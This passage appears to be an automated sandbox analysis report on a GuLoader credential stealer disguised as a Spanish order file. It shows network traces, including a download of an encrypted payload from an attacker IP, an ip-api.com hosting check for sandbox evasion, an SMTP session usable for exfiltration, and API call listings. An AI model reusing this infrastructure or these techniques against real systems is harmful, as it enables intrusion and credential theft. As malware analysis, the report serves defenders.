Sep 12, 2024 21:29:59.802454948 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802495956 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:59.802546978 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802624941 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:59.802625895 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.017782927 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.018045902 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.026215076 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.026281118 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.026530981 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.026549101 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.026549101 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.026735067 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.188694954 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.188977003 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.241405964 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.241592884 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:00.249314070 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:30:00.249577045 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:30:03.449466944 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:30:03.761919022 CEST	80	49716	45.125.247.123	192.168.11.20
Sep 12, 2024 21:30:03.762223005 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:30:03.764331102 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:30:04.076491117 CEST	80	49716	45.125.247.123	192.168.11.20
Sep 12, 2024 21:30:04.076824903 CEST	80	49716	45.125.247.123	192.168.11.20
Sep 12, 2024 21:30:04.126948118 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:30:08.174609900 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:08.489015102 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:08.489228010 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:08.804244041 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:08.804582119 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:09.117084026 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.213543892 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.213613033 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.213628054 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.213753939 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:09.213844061 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:09.522736073 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.523062944 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.562432051 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:09.873348951 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.873373032 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.873389006 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:09.873617887 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:09.876024008 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:10.185568094 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:10.234848976 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:10.330549002 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:10.640171051 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:10.640201092 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:10.640316963 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:10.640409946 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:10.641071081 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:10.953310013 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:10.953783035 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:11.302799940 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:11.344832897 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:11.345206976 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:11.654546976 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:11.655070066 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:11.655412912 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:11.964987040 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:11.965281010 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.274482965 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.315538883 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315637112 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315685034 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315732956 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315789938 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315789938 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315898895 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315927982 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315927982 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315927982 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.315978050 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:12.624821901 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.625217915 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.625482082 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.625646114 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.625689030 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.625890017 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.831882000 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:30:12.875011921 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:30:14.077581882 CEST	80	49716	45.125.247.123	192.168.11.20
Sep 12, 2024 21:30:14.077902079 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:31:44.074031115 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:31:44.870285034 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:31:46.463710070 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:31:48.010276079 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:31:48.213393927 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:31:48.327305079 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:31:48.327390909 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:31:48.327455997 CEST	587	49717	185.230.214.164	192.168.11.20
Sep 12, 2024 21:31:48.327596903 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:31:48.327665091 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:31:48.447808027 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:31:48.447982073 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:31:48.463381052 CEST	49717	587	192.168.11.20	185.230.214.164
Sep 12, 2024 21:31:49.650446892 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:31:56.023983002 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:32:08.755656958 CEST	49716	80	192.168.11.20	45.125.247.123
Sep 12, 2024 21:32:34.203138113 CEST	49716	80	192.168.11.20	45.125.247.123

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 21:30:03.252435923 CEST	49433	53	192.168.11.20	1.1.1.1
Sep 12, 2024 21:30:03.417937040 CEST	53	49433	1.1.1.1	192.168.11.20
Sep 12, 2024 21:30:08.000008106 CEST	55528	53	192.168.11.20	1.1.1.1
Sep 12, 2024 21:30:08.174037933 CEST	53	55528	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 12, 2024 21:30:03.252435923 CEST	192.168.11.20	1.1.1.1	0xf84a	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 12, 2024 21:30:08.000008106 CEST	192.168.11.20	1.1.1.1	0x7017	Standard query (0)	smtp.zoho.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 12, 2024 21:30:03.417937040 CEST	1.1.1.1	192.168.11.20	0xf84a	No error (0)	ip-api.com		45.125.247.123	A (IP address)	IN (0x0001)	false
Sep 12, 2024 21:30:08.174037933 CEST	1.1.1.1	192.168.11.20	0x7017	No error (0)	smtp.zoho.eu		185.230.214.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

107.150.18.109

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49715	107.150.18.109	80	6816	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 21:29:58.454361916 CEST	182	OUT	GET /vqdVIxqzrFAaCMWDM41.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 107.150.18.109 Cache-Control: no-cache
Sep 12, 2024 21:29:58.677325964 CEST	1289	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 04 Sep 2024 10:50:19 GMT Accept-Ranges: bytes ETag: "ab32b73bb8feda1:0" Server: Microsoft-IIS/8.5 Date: Thu, 12 Sep 2024 19:29:58 GMT Content-Length: 250944 Data Raw: e4 6e 94 0d 62 23 d2 53 43 84 ef 9f 67 67 ad fb 3c 92 86 6d c8 f8 37 3d 17 86 89 3a f1 06 f0 82 2f 39 e6 71 99 c4 c8 13 68 cc 85 52 0f 29 a5 fc ee 07 2f 4f fc d4 29 2d 6b eb 46 38 ad 73 b4 2b 61 b1 90 15 e2 36 72 45 08 44 7e c7 fc 6a ff 87 11 5e e3 79 99 f7 40 27 d9 f3 88 ed 64 5f 78 9e 75 c7 4c ec 7f c0 dc 84 43 1b ea 8f d7 ff 2b f6 13 e8 81 b8 07 0e 40 48 8a d9 ae 36 f5 31 f9 00 12 ec d1 02 5b 94 88 eb ab 78 4e cd 2f 30 c7 7d 93 be 4b ec 20 7f e3 25 bc 7e 15 cd 68 ab 06 2d a3 4a 87 2d ae f3 84 db 76 04 81 c5 6d fd c6 8e 4c 0b a0 45 a5 f4 1d 0a 1e 40 84 c1 06 5d 97 66 ae 9f d3 42 2d 0f ad 0c 20 84 51 8b 8a 8e 1d 97 7b 3f 4c c1 ec 82 f2 23 ad af e3 9c a2 ae 7a 55 84 46 33 80 dd 53 1a 7c 19 2a 7f aa 8c d5 0c af dd 52 89 ce 7f ee b3 19 25 f9 c7 49 3f 9c 29 b7 ba cf 09 b6 f3 03 62 a0 8d a5 69 48 cb 2a 2b 44 03 49 ff 05 f2 78 36 8c c2 06 99 5a 44 f6 93 fa 96 df 29 b4 a2 57 28 ce 4a 85 ac a7 9d 5b e6 16 5e 7d 3c 0d ce 18 c6 ff 81 4d 2f 42 47 11 72 cb a3 38 71 de 6f 52 1c 19 5e be d5 73 12 bb 74 b2 d8 2a [TRUNCATED] Data Ascii: nb#SCgg<m7=:/9qhR)/O)-kF8s+a6rED~j^y@'d_xuLC+@H61[xN/0}K %~h-J-vmLE@]fB- Q{?L#zUF3S\|R%I?)biH+DIx6ZD)W(J[^}<M/BGr8qoR^stquXk<!0i&BU?)0R#+cy$"^i"AUq^U#`7,rnVpZ{(Y1b2?KbvYQRoS$}Ltl~"DB(`a'4KwUGR>JGnz`n7VYlvGMMMticB~#L=2lbHjMmKxVwP&Dwe p7`)YVi a9yrz>zBJiV0hxz(JTv#K$w2&gyyLB7%\|K-&X@t@YfyJCcfsue<&EkiqGZ#r)LnZgR<Q$0{yZh`~a65?Ycxwtf#uQQ5gJu{j>&}Ba03j(v<wFY.T/bdlGzBd-C#,N[)eE4 nQN.dS+u"Joe#llP8ve [TRUNCATED]
Sep 12, 2024 21:29:58.677340031 CEST	1289	IN	Data Raw: 16 9c 02 10 39 ce 04 5a 54 62 21 53 ab 8a 60 62 76 96 ea 76 f3 2a 3d 52 ad 83 17 91 66 21 17 8b b2 9b eb c9 08 53 59 3f e7 5a cd dc 69 0c b6 2d 9b 08 f4 d6 0d 8f ce 94 fa ec ae a7 8a 76 e6 50 7f 6a 93 50 51 a8 fb d8 0e 4e 42 a3 e7 7d de 6e 5d 66 Data Ascii: 9ZTb!S`bvv=Rf!SY?Zi-vPjPQNB}n]fu\9 &n]FY'yc(Z"F\|"9'C@NG{4cg<H05NB:A2^:/w&W(N{td#?@ /v
Sep 12, 2024 21:29:58.677351952 CEST	1289	IN	Data Raw: 19 9a 84 7b 8c d9 e5 72 51 37 02 a1 23 16 32 3a 23 91 40 42 0d 44 81 83 16 6c aa 10 38 ce 82 8f 4a e0 5a 33 ab 0a e4 c8 54 c1 87 6a 0e 46 58 76 f3 a6 35 cb 10 52 78 ed c6 8c 7e a8 5c 77 21 1a 96 28 a4 8e 77 0e cd 8d 9b 08 f1 fe 2c 89 cb e1 52 ec Data Ascii: {rQ7#2:#@BDl8JZ3TjFXv5Rx~\w!(w,R"PjPyX7>nTmDAuXI, qFS5S$}n{x!E&q x0%u\|^d4_^f!?r/;k\|\hE:aEf
Sep 12, 2024 21:29:58.677447081 CEST	1289	IN	Data Raw: a7 e8 e2 98 51 bd 50 32 34 77 69 11 54 d4 bc 89 67 b9 92 40 36 2f 60 ff 19 9a 84 7b 8c d9 e5 72 28 37 02 a1 23 42 32 69 d8 91 40 4c 25 14 18 a5 6b f4 82 10 3d e4 9a a7 2f 0b 21 ac af 20 c2 e0 75 be 6d 17 91 42 72 6c db 97 dd e3 03 56 52 c5 c6 fd Data Ascii: QP24wiTg@6/`{r(7#B2i@L%k=/! umBrlVRk\5*i/@xl`r+sF]GlwZK$Yl'Wr({u,~^fC<@_\|"AaK`@&sgQ6.D0;X2v58
Sep 12, 2024 21:29:58.901473045 CEST	1289	IN	Data Raw: c7 e5 54 ec 61 eb 54 d1 7a 01 1f f0 06 32 96 b1 62 20 d5 0e 69 91 6b 27 f5 ec c8 80 d3 c4 8f 32 30 53 4b 33 56 d7 3f 58 67 b9 96 94 24 2d 1b 38 12 9a 80 51 50 da df 1c cf 37 02 db 0a 5c 30 16 5f cf 40 48 09 16 16 a6 16 1c 7c 1e 39 ce 84 5b 58 e2 Data Ascii: TaTz2b ik'20SK3V?Xg$-8QP7\0_@H\|9[X!FX7Qx\(Zeh~LiZ{NQmo_Ltac Yn_Sz}0I\hE"J7taz@JTt}gu
Sep 12, 2024 21:29:58.901489019 CEST	1289	IN	Data Raw: ed 06 41 41 8d 8d fa c5 46 97 e8 eb c1 e8 42 dd 85 ac 64 36 49 87 d0 5f c7 e5 a0 ca 7d eb 54 25 62 21 1f d0 01 32 be 80 9e 21 ea e3 65 90 6b 3b 8c ec c8 8c 75 38 83 32 34 1c 6f 33 56 dd bf 44 67 b9 92 53 38 2d 1b 18 31 92 80 51 a8 06 e0 0f cf 37 Data Ascii: AAFBd6I_}T%b!2!ek;u824o3VDgS8-1Q7$x\0\H4x$)T!/mp]hvA6Wx\(:i-e.hxZqnE]m `YLy^Cs![FR/sXp\g\|";UxgBk
Sep 12, 2024 21:29:58.901499987 CEST	1289	IN	Data Raw: 07 7a 3f 01 c3 53 9d 86 a0 0b 6d 3e d5 23 cd b1 a8 5c 4a e5 96 d0 79 29 ed f8 40 0a 2d 8d fa b5 90 90 e9 eb e7 c9 4b dd 85 8a 9b 3a 48 87 97 54 c5 e5 ac 40 41 e7 54 2f 76 ff 11 d3 01 32 68 bd 9f 21 cc 1d 69 91 6b aa a6 d5 c2 86 53 c6 8f 12 35 73 Data Ascii: z?Sm>#\Jy)@-K:HT@AT/v2h!ikS5sC3VgGi(~P\n6`^!:FXc7v\+m-ebhxZNFnnUHc5 nSS*}p
Sep 12, 2024 21:29:58.901510954 CEST	1289	IN	Data Raw: 0b 04 87 06 dd 8b ab 5f 3e 88 28 b9 09 59 57 fa 2e 61 82 83 b0 f5 62 84 2f 58 3d ff c4 c8 b7 88 a0 0b 6d e0 da 20 cd b1 a8 5e 48 e5 b6 25 75 28 ed 26 46 33 30 8d 04 b4 57 99 e8 eb c7 f8 4e dd 85 aa a2 ec b6 78 40 88 cb e5 aa ca 41 eb 54 25 5c 01 Data Ascii: _>(YW.ab/X=m ^H%u(&F30WNx@AT%\11!izt2)B3V?Zgl(-Q7M]0@H\|9T!R3v2F^7#Zx\(i1'h\|LhZ{NQmm_Ltac l
Sep 12, 2024 21:29:58.901520967 CEST	1289	IN	Data Raw: 6a 5a 8e 1b 3a 12 95 bb ff dc dc 0a 91 9e 06 6a 37 87 c5 97 86 b2 60 ff 0b 04 51 3d d1 8b a1 03 12 81 28 99 11 a7 59 fb d0 60 45 af b1 f5 42 7a 23 5c 3d d1 cd f1 bd 89 88 34 6d c0 d1 08 8d b1 56 5a b7 eb b6 db 59 30 ed 06 41 cd 3e 81 fa b5 90 90 Data Ascii: jZ:j7`Q=(Y`EBz#\=4mVZY0A>KT^v9T/\|!ekD2rz=Vnsj5d]7"\01[H6V9)!UVV~RX]>(mjHxljm[BK
Sep 12, 2024 21:29:58.901531935 CEST	1289	IN	Data Raw: f1 ff 02 ce 35 86 de c7 76 04 75 7b f2 14 4a 30 ce 58 e5 e6 7d 50 42 61 6a 5a 83 1b 3a 07 95 bb ff dc dc 0a 95 9e 06 6a 0f 2c c0 97 86 92 88 f1 0a 04 af cd d1 8a a1 dd 1f 8d 28 b9 f7 a6 60 fe 2e 61 7c b7 b4 f5 42 84 17 92 c2 fe 3a d9 ec 88 a0 01 Data Ascii: 5vu{J0X}PBajZ:j,(`.a\|B:E ^Iky) a30K`6K{:bva/y!ikTSq<4s{LVVj/dhe/c0:h690T O9rR~\|iH!
Sep 12, 2024 21:29:58.901542902 CEST	1289	IN	Data Raw: 81 99 9c 00 d2 d0 0a 9b 5b 90 67 1a b9 ee 9e 82 94 67 0c 75 51 1a fa ca f1 93 02 30 3b 8a de c7 99 28 71 7b d2 13 b4 3e cf a6 dc ee 6c 50 42 61 6a 5a 80 1b e4 09 95 bb df 2a dd 33 9f 60 08 6e 0f 0c 3f 9b 82 92 56 fa 0b 04 af cd dc b2 b9 fd 1e 8d Data Ascii: [gguQ0;(q{>lPBajZ*3`n?Vy.a\|Bx;Cm>$TPIH@1A<nO9HP/V!IkTaSq<6sc1Vij!9Q%67P2@HD~l 0<%vFs7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49716	45.125.247.123	80	6816	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 21:30:03.764331102 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Sep 12, 2024 21:30:04.076824903 CEST	175	IN	HTTP/1.1 200 OK Date: Thu, 12 Sep 2024 19:30:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 12, 2024 21:30:08.804244041 CEST	587	49717	185.230.214.164	192.168.11.20	220 mx.zoho.eu SMTP Server ready September 12, 2024 9:30:08 PM CEST
Sep 12, 2024 21:30:08.804582119 CEST	49717	587	192.168.11.20	185.230.214.164	EHLO 414408
Sep 12, 2024 21:30:09.213543892 CEST	587	49717	185.230.214.164	192.168.11.20	250-mx.zoho.eu Hello 414408 (102.129.252.154 (102.129.252.154))
Sep 12, 2024 21:30:09.213613033 CEST	587	49717	185.230.214.164	192.168.11.20	250-STARTTLS
Sep 12, 2024 21:30:09.213628054 CEST	587	49717	185.230.214.164	192.168.11.20	250 SIZE 53477376
Sep 12, 2024 21:30:09.213844061 CEST	49717	587	192.168.11.20	185.230.214.164	STARTTLS
Sep 12, 2024 21:30:09.523062944 CEST	587	49717	185.230.214.164	192.168.11.20	220 Ready to start TLS.

Target ID:	0
Start time:	15:29:09
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"
Imagebase:	0x400000
File size:	620'120 bytes
MD5 hash:	C6C117C18FEAD29FB0E5393139D0B0F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2974737603.00000000075B2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:29:43
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"
Imagebase:	0x400000
File size:	620'120 bytes
MD5 hash:	C6C117C18FEAD29FB0E5393139D0B0F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.7577422376.0000000035D65000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	23.4%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	19.3%
Total number of Nodes:	1565
Total number of Limit Nodes:	45

Executed Functions

Function 0040344A Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040346D
GetVersion.KERNEL32 ref: 00403473
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040349C
#17.COMCTL32(00000007,00000009), ref: 004034BF
OleInitialize.OLE32(00000000), ref: 004034C6
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 004034E2
GetCommandLineW.KERNEL32(00429240,NSIS Error), ref: 004034F7
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000), ref: 0040350A
CharNextW.USER32(00000000,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000020), ref: 00403531

Part of subcall function 004065EC: GetModuleHandleA.KERNEL32(?,00000020,?,004034B3,00000009), ref: 004065FE
Part of subcall function 004065EC: GetProcAddress.KERNEL32(00000000,?), ref: 00406619

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040366B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040367C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403688
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040369C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004036A4
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004036B5
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004036BD
DeleteFileW.KERNELBASE(1033), ref: 004036D1

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

OleUninitialize.OLE32(?), ref: 0040379C
ExitProcess.KERNEL32 ref: 004037BD
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000,?), ref: 004037D0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000,?), ref: 004037DF
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000,?), ref: 004037EA
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000,?), ref: 004037F6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403812
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?), ref: 0040386C
CopyFileW.KERNEL32(C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,00420EE8,?), ref: 00403880
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000), ref: 004038AD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004038DC
OpenProcessToken.ADVAPI32(00000000), ref: 004038E3
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004038F8
AdjustTokenPrivileges.ADVAPI32 ref: 0040391B
ExitWindowsEx.USER32(00000002,80040002), ref: 00403940
ExitProcess.KERNEL32 ref: 00403963

Strings

.tmp, xrefs: 004037E4
C:\Users\user\Desktop, xrefs: 004037EF, 004037F4, 00403821
SeShutdownPrivilege, xrefs: 004038F2
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 0040364E, 0040376E, 00403818, 00403822
\Temp, xrefs: 00403682
1033, xrefs: 004036CC
NSIS Error, xrefs: 004034E8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 00403779
TEMP, xrefs: 004036B0
Low, xrefs: 0040369E
UXTHEME, xrefs: 00403490, 00403495, 0040349B
"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 004034FD, 00403503, 004036F9
Error launching installer, xrefs: 00403753
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403461
~nsu, xrefs: 004037C8
C:\Users\user\AppData\Local\Temp\, xrefs: 00403660, 00403665, 0040367B, 00403687, 00403696, 004036A3, 004036AF, 004036B7, 004037CD, 004037DE, 004037E9, 004037F5, 00403802, 00403811, 004038C2
TMP, xrefs: 004036B8
C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, xrefs: 0040387B

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
